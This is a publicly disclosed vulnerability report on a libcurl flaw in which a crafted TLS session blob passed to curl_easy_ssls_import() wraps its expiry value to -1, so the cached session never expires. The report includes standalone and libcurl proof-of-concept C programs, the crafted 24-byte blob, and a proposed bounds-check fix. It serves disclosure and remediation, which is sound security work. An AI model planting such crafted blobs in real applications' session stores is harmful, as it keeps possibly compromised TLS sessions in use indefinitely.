HexBrain

curl · Report #3658049

libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire

N/Astatus
mediumseverity
23upvotes
9 Apr 2026disclosed

How it was found

Summary:

curl_easy_ssls_import() deserializes a TLS session blob and stores it in the in-memory session cache. In Curl_ssl_session_unpack() (lib/vtls/vtls_spack.c:311), the valid_until field is read as uint64_t and cast directly to curl_off_t (int64_t) with no bounds check — so a crafted blob encoding valid_until = 0xFFFFFFFFFFFFFFFF produces valid_until = -1 after the cast. The import path (Curl_ssl_session_import → cf_scache_peer_add_session) stores the session directly, bypassing the valid_until <= 0 reset that the normal add path (cf_scache_add_session) applies. The expiry predicate (valid_until > 0) && (valid_until < now) then evaluates (-1 > 0) = FALSE, so the session is never evicted from the cache. Additionally, curl_easy_ssls_export() returns CURLE_BAD_FUNCTION_ARGUMENT for this session (the pack side rejects valid_until < 0), leaving it permanently stuck in-memory yet still retrievable for TLS resumption via Curl_ssl_scache_take().

AI Disclosure: This report was produced with AI assistance. All findings were verified by running the proof-of-concept against libcurl 8.19.0 source code.

Affected version

libcurl/8.19.0-DEV OpenSSL/3.5.5 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 nghttp2/1.64.0
Linux x86_64
Feature gate: USE_SSLS_EXPORT (enabled by default with OpenSSL, GnuTLS, wolfSSL, mbedTLS)
Introduced in: curl 8.12.0 (when curl_easy_ssls_import was added)

Steps To Reproduce:

Option A — Standalone (no libcurl build required)

Compiles and runs without any libcurl dependency. Proves the cast and expiry logic in isolation.

// Save as poc_standalone.c
// Build: gcc -DSTANDALONE -o poc poc_standalone.c && ./poc
#include <stdio.h>
#include <stdint.h>
#include <time.h>

static int expiry_check(int64_t valid_until, int64_t now) {
    /* exact copy of cf_scache_session_expired() — vtls_scache.c:501 */
    return (valid_until > 0) && (valid_until < now);
}

int main(void) {
    int64_t now = (int64_t)time(NULL);

    /* attacker sets VALID_UNTIL = 0xFFFFFFFFFFFFFFFF in blob */
    uint64_t evil_u64    = 0xFFFFFFFFFFFFFFFFULL;
    int64_t  evil_i64    = (int64_t)evil_u64;   /* vtls_spack.c:311 — no check */

    printf("val64 in blob : 0x%016llx\n", (unsigned long long)evil_u64);
    printf("valid_until   : %lld  (wraps to -1)\n", (long long)evil_i64);
    printf("(-1 > 0)      : %s → session NEVER expires\n",
           (evil_i64 > 0) ? "TRUE" : "FALSE");
    printf("expired?      : %s\n",
           expiry_check(evil_i64, now) ? "YES" : "NO  ← BUG");
    return 0;
}

Expected output:

val64 in blob : 0xffffffffffffffff
valid_until   : -1  (wraps to -1)
(-1 > 0)      : FALSE → session NEVER expires
expired?      : NO  ← BUG

Option B — Full libcurl PoC

Requires libcurl ≥ 8.12.0 built with USE_SSLS_EXPORT.

Crafted blob (24 bytes, TLV big-endian as defined in vtls_spack.c):

01                         ← CURL_SPACK_VERSION marker (0x01)
04  00 08                  ← CURL_SPACK_TICKET tag + uint16 length = 8
DE AD BE EF CA FE BA BE    ← 8 bytes dummy ticket data
02  03 04                  ← CURL_SPACK_IETF_ID tag + uint16 = 0x0304 (TLS 1.3)
03                         ← CURL_SPACK_VALID_UNTIL tag
FF FF FF FF FF FF FF FF    ← uint64 big-endian = UINT64_MAX → int64 = -1
// Save as poc.c
// Build: gcc -o poc poc.c -lcurl && ./poc
#include <stdio.h>
#include <curl/curl.h>

static const unsigned char crafted_blob[] = {
    0x01,
    0x04, 0x00, 0x08, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe,
    0x02, 0x03, 0x04,
    0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

int main(void) {
    CURL  *curl;
    CURLSH *share;
    CURLcode rc;

    curl_global_init(CURL_GLOBAL_DEFAULT);

    /* share needed to initialise the TLS session cache (ssl_scache) */
    share = curl_share_init();
    curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);

    curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_SHARE, share);

    rc = curl_easy_ssls_import(curl,
                               "example.com:443:G",  /* global peer key */
                               NULL, 0,
                               crafted_blob, sizeof(crafted_blob));

    printf("curl_easy_ssls_import: %d (%s)\n", rc, curl_easy_strerror(rc));
    /* Expected: 0 (No error) — blob accepted, session stored with valid_until=-1 */

    curl_easy_cleanup(curl);
    curl_share_cleanup(share);
    curl_global_cleanup();
    return rc;
}

Expected output (vulnerable build):

curl_easy_ssls_import: 0 (No error)

The session is now in the TLS cache with valid_until = -1. It survives every subsequent call to cf_scache_peer_remove_expired() because (-1 > 0) = FALSE. It is also un-exportable — curl_easy_ssls_export() returns CURLE_BAD_FUNCTION_ARGUMENT (43) for it because Curl_ssl_session_pack() rejects valid_until < 0 — leaving it permanently irremovable while still being served to servers via Curl_ssl_scache_take().


Relevant source locations

FileLineNote
lib/vtls/vtls_spack.c311s->valid_until = (curl_off_t)val64; — missing bounds check
lib/vtls/vtls_spack.c199Pack side rejects < 0, unpack side does not
lib/vtls/vtls_scache.c501(valid_until > 0) && (valid_until < now) — negative bypasses
lib/vtls/vtls_scache.c796Normal add path resets <= 0 — import path skips this
lib/vtls/vtls_scache.c1127Import calls cf_scache_peer_add_session directly, no reset

Proposed fix

/* vtls_spack.c, after spack_dec64 call in CURL_SPACK_VALID_UNTIL case */
if(val64 > (uint64_t)CURL_OFF_T_MAX) {
    r = CURLE_READ_ERROR;
    goto out;
}
s->valid_until = (curl_off_t)val64;

Impact

An attacker who can write to the session blob passed to curl_easy_ssls_import() — for example by tampering with a session persistence file on disk — can inject a TLS session with valid_until = -1. This session is never evicted from the in-memory TLS cache (expiry check always FALSE) and cannot be cleaned up via re-export. If the injected ticket corresponds to a revoked or compromised TLS session, libcurl will continue offering it for TLS session resumption indefinitely, bypassing the intended expiry-based eviction. Applications most at risk are those that persist TLS sessions to disk across process restarts with weak file permission controls on the session store.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original